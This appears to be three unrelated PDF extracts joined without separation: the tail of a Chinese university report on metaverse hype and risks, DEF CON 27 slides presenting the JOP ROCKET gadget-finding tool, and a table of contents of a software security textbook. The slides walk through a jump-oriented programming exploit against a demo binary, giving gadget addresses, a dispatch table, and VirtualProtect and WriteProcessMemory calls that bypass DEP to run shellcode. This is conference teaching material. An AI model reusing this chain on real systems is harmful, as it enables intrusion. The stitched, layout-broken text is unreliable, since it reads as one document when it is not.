(谷歌趋势 中文搜索相关主题) (谷歌趋势 英文搜索相关词) 搜索共现词:NFT、XR、游戏共现频次高 图片来源:百度指数&谷歌趋势 整体而言市场关注度较高 积极观点认为(约一成): 其投资价值较大。自三月以来,部分元世界股票价值上涨较快; 与VR、AR等新技术相关,是未来科技的发展方向。提早布局, 未来收益可翻倍。 中立观点认为(约八成): 部分网友保持观望,认为当前“元宇宙”仍然处于概念阶段, 距离落地可能还要3-5年。 批判观点认为(约一成): 一方面,认为“元宇宙”这样的新词遮蔽了当前科技发展停滞 的现实,部分公司借此吸金的行为是在“割韭菜”; 另一方面,网友认为,如果不是炒作,企业没有必要去那么高 调地宣布仍在研发中的游戏计划。 八成网民持中立态度 主流媒体呼吁投资者保持理智 证券时报(人民日报社主管主办)、经 济日报等主流媒体的态度较为保守,主 要观点为两类: 其一,“元宇宙”现在仍处于像素游戏 的初级阶段,距离实现真正的平行虚拟 世界仍然任重道远。 其二,呼吁投资者保持理性,对这类 主流媒体呼吁理性投资 资本操纵风险 创造新概念 炒作新风口 吸引新投资 国内外巨头入局+ 产业资金涌入 谋取高回报 一级市场投融资+ 二级市场收割 概念 投资 回报 • 通过创造新概念、炒作新风口、吸引新投资进一步谋取高回报,已成为资本逐利的惯性操作。 • 虚拟币作为元宇宙的经济系统支撑,在元宇宙概念炒作加持下币价也出现持续震荡,背后国际资本金融收割操作嫌疑凸显。 • 从拉升股价到减持嫌疑,从概念炒作到资本操纵,从市场追捧到监管介入,雏形期的元宇宙仍存在诸多不确定性,产业和市场都亟 需回归理性。 8月11日,显卡巨头英伟达(NVIDIA) 宣布,全球首个为元宇宙建立提供基 础的模拟和协作平台Omniverse,将 向数百万新用户开放。 2021.8 字节跳动就以1亿元投资元宇宙 概念公司代码乾坤,其主要产品 包 括 青 少 年 社 交 和 U G C 平 台 《重启世界》。 2021.4 2021.8 VR创业公司Pico(小鸟看看)在全员信 中披露,该公司被字节跳动收购。但这笔 交易的价格并未公布,有媒体报道称50 亿元,也有消息称达到了90亿元。 2021.8 百度世界大会上设置了VR分会场,推出 一款基于5G、百度云手机技术和全新升 级的“希壤”虚拟空间多人互动平台,让 无法亲身到场的人们可以体验这场科技盛 会的虚拟空间。 Facebook推出了VR会议软件 Horizon Workrooms。让用 户以“数字人”分身进行线上 VR会议。 2021.8 巨头入场,市场信心驱动 经济风险 • 虽然元宇宙中的货币体系、经济体系并不完全和现实经济挂钩,但在一定程度上可通过虚拟货币实现和现实经济的联动。 • 当元宇宙世界中的虚拟货币相对于现实货币(法币)出现巨幅价值波动时,经济风险会从虚拟世界传导至现实世界。元 宇宙在一定程度上也为巨型资本的金融收割行为提供了更为隐蔽的操纵空间,金融监管也需从现实世界拓展至虚拟世界。 美国等: 虚拟币→ 法币 联动波动 中国: 代币, 单向转化 垄断张力 • 监管层面的中心化:元宇宙世界和现实社会一样,需要完整的货币系统、经济秩序、社会规则、管理制度、文化体系甚至 法律约束,其涉及的约束边界都需要中心化组织的参与和监管,元宇宙的公共性和社会性使得完全去中心化在一定程度上 成为了一个伪命题。 • 产业布局层面的中心化:各家巨头间的竞争态势决定了其生态的相对封闭性,完全开放和去中心化很难实现。 去中心化愿景  去中心化的运作逻辑和价值基础 中心化的现实  中心化、层级化、垄断性的组织结构 产业内卷 每一次人类新疆域的开拓,都是从“存量市场”中发现“增量市场”的过程 • 元宇宙是游戏及社交内卷化竞争下的概念产出。除却人才和用户资源的抢夺、监管压力加码,游戏及社交的产品模式也逐渐进 入瓶颈期,相关互联网巨头进入到存量互割和零和博弈阶段。内卷态势下亟需一个新概念重新点燃资本和用户的想象空间。 • 虽然在新概念加持下阶段性实现了资本配置的帕累托改进,但概念上的突破并未从本质上改变产业内卷的现状。 • 帕累托解 • 存量互割 • 内卷竞争 • 零和博弈 • 广阔的市场空间 • 低边际成本高边际收益 • 资源配置的帕累托改进 • 资源流通,打破垄断 • 互利双赢,正和博弈 存 量 市 场 增 量 市 场 算力压力 • 元宇宙是大型多人在线游戏、开放式任务、可编辑世界、 XR入口、AI内容生成、经济系统、社交系统、化身系统、 去中心化认证系统、现实场景等多重要素的集合体。 • 这也使得其本身运作对算法和算力有极高的要求:稳定性、 可持续性、低成 本… 孪生拟真世界 可编辑开放世界 创造性游 多玩 人实时协作 高沉浸度社交 体感设备 虚拟服装 虚拟偶像 场景化社交 少儿教育 智能制造 线上聚会 虚拟土地 伦理制约 • 理想概念中元宇宙是高自由度、高开放度、高包容度的“类乌 托邦”世界。 • 作为各种社会关系的超现实集合体,当中的道德准则、权力结 构、分配逻辑、组织形态等复杂规则也需要有明确定义和规范。 • 高自由度不意味着行为的不受约束,高开放度也并非边界的无 限泛化,如何在去中心化的框架中构建元宇宙的伦理框架共识, 仍需从多视角去进行探索。 赌博 经济诈骗 资本投机 恐怖主义 性 谣言 暴力 极端主义 暗网犯罪 隐私泄露 资本剥削 沉迷上瘾 沉迷风险 • 元宇宙因具身交互、沉浸体验及其对现实的“补偿效应”而具 备天然的“成瘾性”,虽然我们的愿景是让人们在虚实之间自 如切换,但沉迷风险必然存在,这与近期国家对游戏等产业的 监管加码也相呼应。 • 另一方面,倘若虚拟世界的价值理念、交互逻辑、运转规则和 现实世界出现明显分化甚至是异化、对立,使得沉浸在虚拟世 界中的人对现实世界产生不满、憎恨、仇视等负面情绪。 • 过度沉浸在虚拟世界亦有可能加剧社交恐惧、社会疏离等心理 问题,亦或影响婚恋观、生育率、代际关系等人际问题。 虚实二界的流动交换 隐私风险 • 元宇宙作为一个超越现实的虚拟空间,需要对用户的 身份属性、生理反应、行为路径、社会关系、人际交 互、财产资源、所处场景甚至是情感状态和脑波模式 等信息进行细颗粒度挖掘和实时同步。 • 这对个体数据规模、种类、颗粒度和时效性提出了更 高层面的要求,个体隐私数据作为支撑元宇宙持续运 转的底层资源需要不断更新和扩张,这些数据资源如 何收集、储存与管理?如何合理授权和合规应用?如 何避免被盗取或滥用?如何实现确权和追责?如何防 范元宇宙形态下基于数据的新型犯罪形式? • 货币映射 • 属性映射 • 环境映射 • 事件映射 • …… 知识产权 • 知识产权问题可以说是数字空间中一直存在的一个“顽疾”,虽然区块链技术为认证、确权、追责提供了技术可能 性,但在元宇宙空间大量的UGC生成和跨虚实边界的IP应用加剧了知识产权管理的复杂性和混淆性。 • 元宇宙是一个集体共享空间,几乎所有人都是这个世界的创作者,这也衍生了大量多人协作作品,这种协作关系存 在一定的随机性和不稳定性,对于这种协作作品和团体著作权人需要有确权规则。 • 元宇宙中的虚拟数字人、物品、场景等元素很可能是来自或者改编于现实世界对应实体,这种跨越虚实边界的改编 应用很可能会引发知识产权纠纷,包括人物肖像权、音乐、图片、著作版权等。 跨越虚实边界的著作权确权与追责 “ 团体著作权”: 多人协作创作 清华大学新闻与传播学院 硕士生 兵头万里子 马蝶 清华大学新闻与传播学院 博士后 陈辉 何静 兰天 尤可可 赵越 清华大学新闻与传播学院 博士生 金秀瑛 陶炜 王娟 东华大学人文学院 讲师 戚远博 博士 • 金兼斌教授、卢嘉教授 • 张铮副教授、吕宇翔副教授、蒋俏蕾副教授 • 北师大新闻学院 喻国明教授、张洪忠教授、曾安副教授、李倩讲 师 • 中国人民大学新闻学院 彭兰教授 • 郭锐 锐进智慧信息技术CEO • 怀禹科技创始人&CEO 郑秋 实 • ........
pdf
THE JOP ROCKET: A SUPREMELY WICKED TOOL FOR JOP GADGET DISCOVERY, OR WHAT TO DO IF ROP IS TOO EASY Dr. Bramwell Brizendine Dr. Joshua Stroschein DEF CON 27 August 9, 2019 DR. BRAMWELL BRIZENDINE • Assistant Professor of Computer and Cyber Sciences at Dakota State University. • Creator of the JOP ROCKET. • Interests: Software exploitation, reverse engineering, malware analysis, offensive security. • Education: – 2019: Ph.D in Cyber Operations – 2016: M.S. in Applied Computer Science – 2014: M.S. in Information Assurance • Contact: – [email protected] DR. JOSH STROSCHEIN • Assistant Professor of Cyber Security and Network & Security Administration at Dakota State University • Teaches undergraduate and graduate courses in cyber security with a focus on malware analysis, reverse engineering, and software exploitation. • Regular trainer at many venues, such as DerbyCon, Hack-in-The-Box, BlackHat USA, and ToorCon. • Education: – 2017: D.S. Cyber Security – 2014: M.S. Information Assurance • Contact: – [email protected] ACKNOWLEDGEMENT • Austin Babcock – Undergraduate research assistant at Dakota State University. – Cyber Operations student. – Created JOP exploit chain for demo. – Contact: • [email protected] • Contact Austin with internship or job opportunities, etc. • Dr. Jared DeMott of VDA Labs – Member of Ph.D. dissertation committee. WHAT WE ARE GOING TO TALK ABOUT? • Remember ROP? – Let’s try something a little bit different. • Introduction to Jump-Oriented Programming. • Getting to know the JOP ROCKET. • Some finer points of JOP exploit development. • See the magic of JOP in action. THE JOP ROCKET: DID WE INVENT JOP? ▪ Certainly not. ▪ The literature provides us with examples of JOP going back a decade: Bletsch; Chen, et al.; Erdődi; Checkoway and Shacham ▪ For those interested in JOP though, there was a somewhat serious problem: lack of tools to facilitate usage. ▪ There also really isn’t much practical information on doing JOP in Windows. You can download the JOP ROCKET from Github: https://github.com/Bw3ll/JOP_ROCKET JOP CREATES A SIDE DOOR If there are ROP heuristics in place that make ROP detection too challenging, JOP may be a way around these. Just another way to bypass mitigations and make it so we can reach executable shellcode. • Let’s not get ahead of ourselves here. – JOP is only one category of code-reuse attacks. – Older precursor to ROP. • Alexander Peslyak (1997) – Linux; not too relevant on Windows. – Result of Schacham’s work (2007). • Borrowed chunks of code. – ROP extends beyond ret2libc • Anything and everything versus just setting up function calls. – A gadget comprised of an instruction ending in RET. – A sequence of different gadgets that collectively allows for more complex actions to take place. – Stack pivot, setting up Windows API calls, etc. – Mona • By Corelan Team, Peter Van Eeckhoutte. • Outstanding Python script that integrates flawlessly with WinDbg or Immunity. • Allows for discovery of ROP gadgets and many exploit related tasks. – ROPgadget • By Jonathan Salwan. • Allows for discovery of ROP gadgets. • Python script, supporting ELF, PE, Mach-O format on x86, x64, ARM64, PowerPC, SPARC, and MIPS. • Runs on command line, using Capstone disassembly engine. Grab lines of instructions from process memory and glue them together. This talk won’t teach you how to do ROP. It is probably a good idea to understand it before getting too deep into JOP. • EXAMPLE OF ROP CHAIN FROM MONA The RET’s in effect act as our glue, chaining gadgets together. – Instead of using ROP gadgets to order control flow, JMP and CALL instructions perform that role. • Put another way, JOP is ROP without RET’s. – Stack is not available to use for control flow generally, but can be used to prepare Windows API calls. – Using a dispatcher gadget and dispatch table, by Bletsch, et al. (2011) • JOP ROCKET uses this approach. ☺ • Uses a dispatcher gadget and dispatch table to direct control flow • Can still use the stack to load values – Bring Your Own Pop Jump (BYOPJ) by Checkoway and Shacham (2010) • POP X* / JMP X* gadget – Some may lead just to a RET, although that need not be the case. • This is essentially return-oriented programming without returns – Doesn’t need dispatcher gadget. – The JMP [REG] just goes to a RET, so very similar to ROP – Can’t use CALL [REG] • Chen, Ying, Mao, and Xie’s extensions to work by Checkoway and Shacham (2011) – Uses combinational gadget for system calls & control gadget to set jump register. – Combinational gadget will simply call/jmp to a gadget that ends in RET. JOP DISPATCHER GADGET PARADIGM • Dispatcher gadget – DG is instrument of change, moving forwards or backwards in the dispatch table. – DG should be short and sweet, ideally two or three instructions. – DG will predictably modify the register holding address to dispatch table and then JMP or CALL to the dereferenced location. • ADD or SUB are best. • Dispatch table – Each entry in dispatch table leads to addresses of functional gadgets. • May consist of padding between addresses. – NOPs or what is functionally equivalent. • Functional gadgets – Gadgets that terminate in JMP or CALL to a register containing address of dispatcher gadget. – These are most like normal ROP gadgets. – These allow us to set up registers or the stack for Windows API calls. • Can then allow us to call Windows API’s to bypass DEP or other mitigations--and more! • Windows API Functions – You can prepare stack for calls to Windows API functions. – Will go out of JOP after call, but can redirect control flow back to dispatcher gadget, to keep on jopping. DISPATCHER GADGET Big picture? There is a loop going from dispatcher gadget, to the current entry in the dispatch table, to its associated functional gadget, back to the DG, which moves to the next location in the dispatch table. JOP: Control Flow Dispatcher Gadget: ADD EDI,0xC; JMP DWORD PTR [EDI]; WHY JOP IS NOT MUCH USED • One person claimed in 2015 JOP had never been used in the wild. – Wrong! It has been, but only very rarely. • Lack of proper tooling to find JOP gadgets. – Not really feasible to do JOP if you don’t consider opcode-splitting. – This tool changes that. • JOP is much trickier and less well understood. – ROP is easier, well documented, with publicly available tools. – No reason to use JOP if ROP suffices. • Enhanced difficulty and paucity of gadgets makes it tougher. • Difficulty in finding JOP gadgets – Very non-trivial, given lack of available tools with needed functionality. • Must use a multitude of other tools o write your own. • Other tools not set up to easily find unintended instructions for JOP • JOP ROCKET changes the above. ☺ – Would be very time-consuming, tedious to do this as a manual process without tools, requiring more expertise. • ROP algorithm vs. JOP algorithm – Finding the terminating indirect jumps and indirect calls and diassembling backwards to discover all intended and unintended without ROCKET is very UGLY. • ROP tools don’t really support JOP. – They have placeholders for future support. • JOP is a good deal more complex. – Folks just don’t know how. – Using ROP and the stack to manage control flow is simple. • With JOP, you must supply that functionality yourself via DG and DT. – With JOP you must pay attention to registers used for dispatcher gadget, dispatch table, and getting gadgets arguments onto the stack. • A lot more in motion that could go wrong. – Maintaining order amid chaos. • Makes finding right gadgets very challenging at times. • Need that sacrosanct dispatcher gadget. – They are scarce. • No dispatcher gadget, no JOP. – DG can tie up a register from future use. • Tough if it is a very commonly used register. – You could do the POP X/JMP X style of JOP, but that is more similar to ROP. WHY JOP IS NOT MUCH USED THE MORE YOU KNOW • So if you are sitting at this talk, you probably know some about ROP and are maybe a master. – A lot of those principles can apply to JOP. • Similar ROP techniques can work in JOP. • The challenge is you have a lot fewer gadgets generally. • If you wanted to, you could switch between ROP and JOP--if there were no particular reason you were trying to avoid ROP. – Will take some appropriate setup and adjustments. • • Jump-Oriented Programming Reversing Open Cyber Knowledge Expert Tool – Dedicated to the memory of rocket cats who made the ultimate sacrifice. THE JOP ROCKET • Jump-Oriented Programming Reversing Open Cyber Knowledge Expert Tool – Inspired by so-called rocket cats from the 1300’s, who helped subvert defenses of a well-defended castle. • The feline adversary with his payload would inevitably find a way in past secure defenses. – JOP ROCKET is similar in that it allows attacks to bypass systems that may be well-defended against ROP. • Side door to ROP heuristics. – Grew out of doctoral dissertation research by Bramwell – Sophisticated tool with a lot of functionality devoted to its tasks. – Python script with dependencies intended to be run on executables. • Static analysis; does not target active processes. – Will scan an executable and all modules. – Interactive command line UI. • Brief keyboard shortcuts. • Can also take file as arg with a “get everything” option. THE JOP ROCKET - ITS FEATURES • Features – Provides tremendous flexibility for how it discovers both functional gadgets and dispatcher gadgets. • User can customize how these are found as need be. Provides dozens of categories of classifications for gadgets based on operations they perform. • E.g. MOV [REG], [REG], ADD, SUB, etc. • Can specify which REG it goes to or which REG it affects. – Can allow user to be very granular about results sought; no needle in a haystack. – Searches and finds “everything” with all classifications performed simultaneously. • Once it is done, it is ready to print results to files “instantly.” – If you change how gadgets are formed though, rescanning may be necessary. – Uses opcode-splitting to discover all unintended gadgets. • JOP really isn’t possible without this. ☺ – Static analysis tool to scan image executable and all associated modules. THE JOP ROCKET - ITS CONTRIBUTIONS – Not available in previous tools – New logic to find other types of DG. • Rarely found or useful – Some generated via opcode-splitting. – Helps avoid getting bogged down by irrelevant, useless gadgets. • E.g. functionally equivalent NOPs. – No disassembly stored at any time, just bookkeeping data. – Not really important as far as doing JOP, but a different way to address this programmatically. – Tremendous flexibility, numerous options for how JOP gadgets are generated. – Customization to change how they are found. • Can expand or narrow results found. – Data would not be organized/classified. – No opcode-splitting→not enough JOP. SORRY! – Time consuming, tedious, boring, AWFUL. – Obtain all possible results for different operations based on reasonable default. – Print to .csv # of gadgets for each category, making easier to see if JOP is feasible for binary. JOP ROCKET - HOW TO USE IT • Static analysis tool run on the command line. – Optimized for Cygwin. – Can run on any platform that supports Linux with dependencies, though limited outside Windows. • Provide binary as command line argument – python prog.py paint.exe • Will provide output for offsets -- convenient for ASLR bypasses. • JOP ROCKET Options: – f: Change PE file being analyzed – r: Specify target 32-bit registers, delimited by commas. E.g. EAX, EBX, ECX – t: Set control flow, e.g. JMP, CALL, ALL – p: Print, e.g. ALL, all by REG, by operation – d: Get dispatcher gadgets, e.g. by REG or ALL – D: Set level of depth for dispatcher gadgets. – m: Extract the modules for specified registers. – n: Change number of opcodes to disassemble – l: Change lines to go back when searching for dispatcher gadget. – s: Scope--look only within the executable or executable and all modules – g: Get gadgets; this acquires all gadgets ending in specified registers. – G: Get dispatcher gadgets; this acquires all gadgets ending in specified registers. – c: Clears everything. – k: Clears selected DLLs. – x: exit. You can download the JOP ROCKET from Github: https://github.com/Bw3ll/JOP_ROCKET JOP ROCKET - HOW TO USE IT – Establish registers of interest to search for • e.g. EAX, EBX, All – Establish scope - do you want JMP, CALL, or both? • e.g. CALL EAX, JMP EAX – Are you looking at modules/dlls? • If so, it must extract those. – Once selections are made, type g for go, and it will obtain and classify all JOP gadgets – Print results to terminal and file. • There are numerous areas of classification, based also upon registers selected. – This allows you to be very granular and specific about needs. • E.g. seeking an operation that performs addition on EDX • Selected desired operations to print. – Can select ALL, recommended, different categories (e.g. POP, PUSH). – Can select everything and print out total numbers of gadgets as a CSV. • Useful to see if enough gadgets to be worth spending too much time with. – Sometimes there just won’t be enough. JOP ROCKET - HOW TO USE IT – To find dispatcher gadgets, must first select registers to be searched for. – Next, select registers used for dispatcher gadgets. – Select appropriate option under printing sub-menu to get dispatcher gadgets. – Reminder: dispatcher gadgets are fairly scarce, so you may have to make do with what’s available. – If not enough or none found, you can increase the depth. – Call keeps pushing return address to stack. – If using stack to load parameters for Windows API calls, need to make frequent stack adjustments. • Likely not feasible with most. – May need to use other area of memory under control to set up parameters, and then do stack pivot prior to calling the Windows API. • Gadgets may not be there to support it. – If so, use JOP ROCKET and try to think creatively. A COUPLE SCREENSHOTS NOW ONTO A JOP EXPLOIT DEMO • Let the fun begin. • Let’s walk through some of the finer points, so we can understand how it works in practice. • We have two points of control here, an overflow in a string resulting in control over EIP, and the file supplied which gets written to memory. • Flow of execution for the exploit: >enter input: AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAA… SUB ESP,0x4f; POP EAX; . . . JMP EDX; .wav file header . . . VirtualProtect() JOP Chain . . . . . . WriteProcessMemory() JOP Chain . . . . . . 1. Initial overflow 2. JOP Setup Gadget 3. JOP chains in malicious .wav 4. NOP sled + Shellcode EXPLOIT DIAGRAM This gadget put the Dispatcher address in EDX, and the Table address in EDI, making JOP possible. You can download the JOP ROCKET from Github: https://github.com/Bw3ll/JOP_ROCKET A LOOK AT SOME JOP SPECIFICS Register holding dispatcher address: EDX Register holding dispatch table address: EDI Dispatcher gadget instructions: ADD EDI,0xC; JMP DWORD PTR [EDI]; ESP location during main JOP chains: 628 bytes after the beginning of the .wav file in memory (0x00436628) JOP MECHANICS Dispatch table Address Value 0x00436038 ED 17 40 00 0x0043603C 41 41 41 41 0x00436040 41 41 41 41 0x00436044 E6 15 40 00 0x00436048 41 41 41 41 0x0043604C 41 41 41 41 0x00436050 E6 15 40 00 0x00436054 41 41 41 41 0x00436058 41 41 41 41 0x0043605C 61 15 40 00 Dispatcher Gadget Address: 0x00401538 ADD EDI,0xC; JMP DWORD PTR [EDI]; Functional Gadgets Address Instruction 0x00401561 MOV ECX,0x0552A200; . . . MOV EBX,0x40204020; . . . JMP EDX; . . . . . . 0x004015E6 ADD ESP, 0x894; . . . MOV EBP,ESP; . . . JMP EDX; . . . . . . 0x004016ED MOV ESP,0x00435500; . . . JMP EDX; SETTING THINGS UP • Initial overflow directs execution to the setup gadget (below). • Allows us to put the dispatcher address into EDX and the table address into EDI. • CALL EDX directs flow to dispatcher. Everything after adheres to dispatch table. • . 0x004016ED MOV ESP,0x00435500 # JMP EDX 0x00401642 SUB ESP,0x4f # POP EAX # POP EDX # POP EDI XOR EDX,EAX # XOR EDI,EAX # CALL EDX XORs allow us to get to values containing null bytes without supplying null bytes ourselves. SUB ESP moves ESP into our buffer so we can supply values. • Before we start crafting function calls, let’s move ESP. • ESP is moved to a location in memory where the .wav file is written Pretty close… file starts at 0x00436000. 0x004015E6 ADD ESP, 0x894 # MOV EBP,ESP # JMP EDX ESP = 0x00435D94, one more should do it. 0x004015E6 ADD ESP, 0x894 # MOV EBP,ESP # JMP EDX ESP = 0x00436628, 628 bytes after the start of the file in memory. CALLING FUNCTIONS WITH JOP • Used to create a section of RWX memory to write shellcode to and execute it from. • This violates the core principle behind DEP. Items Pushed, in Order Formal Name Value Pushed Descripton Return Address 0x004015F0 Return to next gadget in chain lpfOldProtect 0x00461000 A writable location flNewProtect 0x40 Choose RWX protections dwSize 0xF000 How much memory to change lpAddress 0x00427000 Address of memory to change Pointer to Function 0x7647432F Used to call function CALLING FUNCTIONS WITH JOP • Used to copy the shellcode from our malicious file to the RWX memory created by VirtualProtect(). Items Pushed, in Order Formal Name Value Pushed Descripton Return Address 0x00432128 Return to freshly written shellcode lpNumberOfBytesWritten 0x00461000 A writable location nSize 0x240 Number of bytes to write lpBuffer 0x004369FC Location of bytes to copy from lpBaseAddress 0x00432128 Address to write to hProcess 0xFFFFFFFF Handle to current process Pointer to Function 0x7648D9A8 Used to call function SUPPLYING VALUES FOR FUNCTIONS • ESP doesn’t move much after the very start of the exploit. Only slight adjustments are needed to PUSH and POP at the right locations. • Afterwards, this series of gadgets is used repeatedly: • Allows us to PUSH two of our needed values for a function call. • ESP is adjusted as needed in later uses • A single gadget is used at the start of the chain for each function to set ECX to an arbitrary value. • Specific value isn’t important – just the fact that we know what value it is. 0x004015D5 SUB ESP,0x8 # JMP EDX 0x00401591 PUSH EAX # PUSH ECX # … # JMP EDX 0x00401561 MOV ECX,0x0552A200 # … # JMP EDX 0x00401544 … # POP EAX # … # JMP EDX 0x00401544 … # POP EAX # … # JMP EDX 0x00401572 … # XOR ECX, EAX # … # JMP EDX 0x00401591 PUSH EAX # PUSH ECX # … # JMP EDX 1 2 3 4 SOME NUANCES • Dereferencing VirtualProtect() Pointer • Within memory is a pointer to the VirtualProtect() address. This pointer is always at the same location: 0x00427008. • Here ECX contains the pointer (0x00427008). Dereferencing this pointer gives us the real VirtualProtect() address. • Fixing EDX After VirtualProtect() Call • VirtualProtect() changes EDX, making it no longer contain the dispatcher address. • This gadget can be used to POP the address back into EDX. • CALL-ing a Friend • You can use gadgets ending in CALL <register> as well! Just account for the return address the CALL instruction will push. 0x004015DF … # MOV ECX, DWORD PTR [ECX] # JMP EDX 0x004015F0 POP EDX # … # RET This gadget is ROP rather than JOP. Just make sure you place the dispatcher address in the .wav file and RET to it. ROP it and JOP it ☺ 0x00401733 … # POP EAX # CALL EDX 0x004015D0 ADD ESP,0x4 # JMP EDX A return address is pushed automatically with CALL Just move ESP back where it was. This gadget dereferences 0x00427008. As a result, 0x7647432F is left in ECX, which is the real VirtualProtect() address. A COUPLE MORE NUANCES • Getting the address to WriteProcessMemory() • Unlike VirtualProtect(), the binary doesn’t have a direct pointer to WriteProcessMemory(). • However, both functions are found in the same DLL. • We can get to WriteProcessMemory() by manually analyzing the DLL and finding an offset to add to the VirtualProtect() address. • JMP to a Different Register • If you need a specific gadget, but it JMPs or CALLs to the wrong register, why not put the Dispatcher address in that register than use it anyways? 0x00401544 … # POP EAX # JMP EDX At this point in the chain, ECX already contains the dereferenced VirtualProtect() address. 0x00401604 MOV EBX,EAX # ADD EBX,ECX # JMP EDX Putting the offset into EAX Offset gets added to VirtualProtect() address, so it becomes WriteProcessMemory() address. 0x00401695 MOV EAX,EDX # … # JMP EDX 0x0040159E … # PUSH EBX # JMP EAX AND NOW TIME FOR THE DEMO? 1. Take a ROCKET ride. 2. JOP it. 3. Profit. 4. Joy? THANK YOU!
pdf
The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1 目录 1. The Art of Software Security Assessment: Identifying and Preventing Software Vulnerabilities .... 6 2. Table of Contents ............................................................................................................................. 8 3. Copyright ....................................................................................................................................... 12 4. About the Authors ......................................................................................................................... 14 4.1 Preface ................................................................................................................................. 14 5. Acknowledgments ......................................................................................................................... 18 6. Part I: Introduction to Software Security Assessment ................................................................ 18 6.1 Chapter 1. Software Vulnerability Fundamentals ............................................................. 18 6.1.1 Introduction .............................................................................................................. 18 6.1.2 Vulnerabilities ........................................................................................................... 19 6.1.3 The Necessity of Auditing ......................................................................................... 24 6.1.4 Classifying Vulnerabilities ......................................................................................... 29 6.1.5 Common Threads ...................................................................................................... 32 6.1.6 Summary ................................................................................................................... 37 6.2 Chapter 2. Design Review ................................................................................................. 38 6.2.1 Introduction .............................................................................................................. 38 6.2.2 Software Design Fundamentals ................................................................................ 38 6.2.3 Enforcing Security Policy ........................................................................................... 49 6.2.4 Threat Modeling ....................................................................................................... 62 6.2.5 Summary ................................................................................................................... 79 6.3 Chapter 3. Operational Review ......................................................................................... 79 6.3.1 Introduction .............................................................................................................. 79 6.3.2 Exposure ................................................................................................................... 80 6.3.3 Web-Specific Considerations .................................................................................... 85 6.3.4 Protective Measures ................................................................................................. 88 6.3.5 Summary ................................................................................................................. 101 6.4 Chapter 4. Application Review Process .......................................................................... 101 6.4.1 Introduction ............................................................................................................ 102 6.4.2 Overview of the Application Review Process.......................................................... 102 6.4.3 Preassessment ........................................................................................................ 104 6.4.4 Application Review ................................................................................................. 107 6.4.5 Documentation and Analysis .................................................................................. 116 6.4.6 Reporting and Remediation Support ...................................................................... 119 6.4.7 Code Navigation ...................................................................................................... 119 6.4.8 Code-Auditing Strategies ........................................................................................ 122 6.4.9 Code-Auditing Tactics ............................................................................................. 147 6.4.10 Code Auditor's Toolbox ......................................................................................... 161 6.4.11 Case Study: OpenSSH ............................................................................................ 173 6.4.12 Summary ............................................................................................................... 178 7. Part II: Software Vulnerabilities ................................................................................................ 179 7.1 Chapter 5. Memory Corruption ...................................................................................... 179 The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 2 7.1.1 Introduction ............................................................................................................ 179 7.1.2 Buffer Overflows ..................................................................................................... 180 7.1.3 Shellcode ................................................................................................................. 199 7.1.4 Protection Mechanisms .......................................................................................... 202 7.1.5 Assessing Memory Corruption Impact ................................................................... 209 7.1.6 Summary ................................................................................................................. 215 7.2 Chapter 6. C Language Issues ......................................................................................... 215 7.2.1 Introduction ............................................................................................................ 215 7.2.2 C Language Background .......................................................................................... 216 7.2.3 Data Storage Overview ........................................................................................... 217 7.2.4 Arithmetic Boundary Conditions ............................................................................ 224 7.2.5 Type Conversions .................................................................................................... 236 7.2.6 Type Conversion Vulnerabilities .............................................................................. 262 7.2.7 Operators ................................................................................................................ 287 7.2.8 Pointer Arithmetic .................................................................................................. 294 7.2.9 Other C Nuances ..................................................................................................... 299 7.2.10 Summary ............................................................................................................... 314 7.3 Chapter 7. Program Building Blocks................................................................................ 314 7.3.1 Introduction ............................................................................................................ 314 7.3.2 Auditing Variable Use.............................................................................................. 315 7.3.3 Auditing Control Flow ............................................................................................. 343 7.3.4 Auditing Functions .................................................................................................. 356 7.3.5 Auditing Memory Management ............................................................................. 379 7.3.6 Summary ................................................................................................................. 403 7.4 Chapter 8. Strings and Metacharacters .......................................................................... 403 7.4.1 Introduction ............................................................................................................ 403 7.4.2 C String Handling .................................................................................................... 404 7.4.3 Metacharacters ....................................................................................................... 423 7.4.4 Common Metacharacter Formats ........................................................................... 434 7.4.5 Metacharacter Filtering .......................................................................................... 452 7.4.6 Character Sets and Unicode .................................................................................... 464 7.4.7 Summary ................................................................................................................. 476 7.5 Chapter 9. UNIX I: Privileges and Files ............................................................................ 476 7.5.1 Introduction ............................................................................................................ 477 7.5.2 UNIX 101 ................................................................................................................. 477 7.5.3 Privilege Model ....................................................................................................... 482 7.5.4 Privilege Vulnerabilities .......................................................................................... 496 7.5.5 File Security ............................................................................................................. 512 7.5.6 File Internals ........................................................................................................... 530 7.5.7 Links ........................................................................................................................ 534 7.5.8 Race Conditions ...................................................................................................... 544 7.5.9 Temporary Files ....................................................................................................... 557 7.5.10 The Stdio File Interface ......................................................................................... 566 7.5.11 Summary ............................................................................................................... 576 The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 3 7.6 Chapter 10. UNIX II: Processes ....................................................................................... 576 7.6.1 Introduction ............................................................................................................ 576 7.6.2 Processes ................................................................................................................ 577 7.6.3 Program Invocation ................................................................................................. 582 7.6.4 Process Attributes ................................................................................................... 590 7.6.5 Interprocess Communication .................................................................................. 626 7.6.6 Remote Procedure Calls .......................................................................................... 633 7.6.7 Summary ................................................................................................................. 639 7.7 Chapter 11. Windows I: Objects and the File System ..................................................... 639 7.7.1 Introduction ............................................................................................................ 639 7.7.2 Background ............................................................................................................. 640 7.7.3 Objects .................................................................................................................... 642 7.7.4 Sessions................................................................................................................... 650 7.7.5 Security Descriptors ................................................................................................ 662 7.7.6 Processes and Threads............................................................................................ 669 7.7.7 File Access ............................................................................................................... 675 7.7.8 The Registry ............................................................................................................ 696 7.7.9 Summary ................................................................................................................. 700 7.8 Chapter 12. Windows II: Interprocess Communication .................................................. 700 7.8.1 Introduction ............................................................................................................ 700 7.8.2 Windows IPC Security ............................................................................................. 701 7.8.3 Window Messaging................................................................................................. 705 7.8.4 Pipes........................................................................................................................ 713 7.8.5 Mailslots.................................................................................................................. 720 7.8.6 Remote Procedure Calls .......................................................................................... 721 7.8.7 COM ........................................................................................................................ 740 7.8.8 Summary ................................................................................................................. 770 7.9 Chapter 13. Synchronization and State........................................................................... 770 7.9.1 Introduction ............................................................................................................ 770 7.9.2 Synchronization Problems ...................................................................................... 770 7.9.3 Process Synchronization ......................................................................................... 776 7.9.4 Signals ..................................................................................................................... 797 7.9.5 Threads ................................................................................................................... 822 7.9.6 Summary ................................................................................................................. 837 8. Part III: Software Vulnerabilities in Practice ............................................................................. 838 8.1 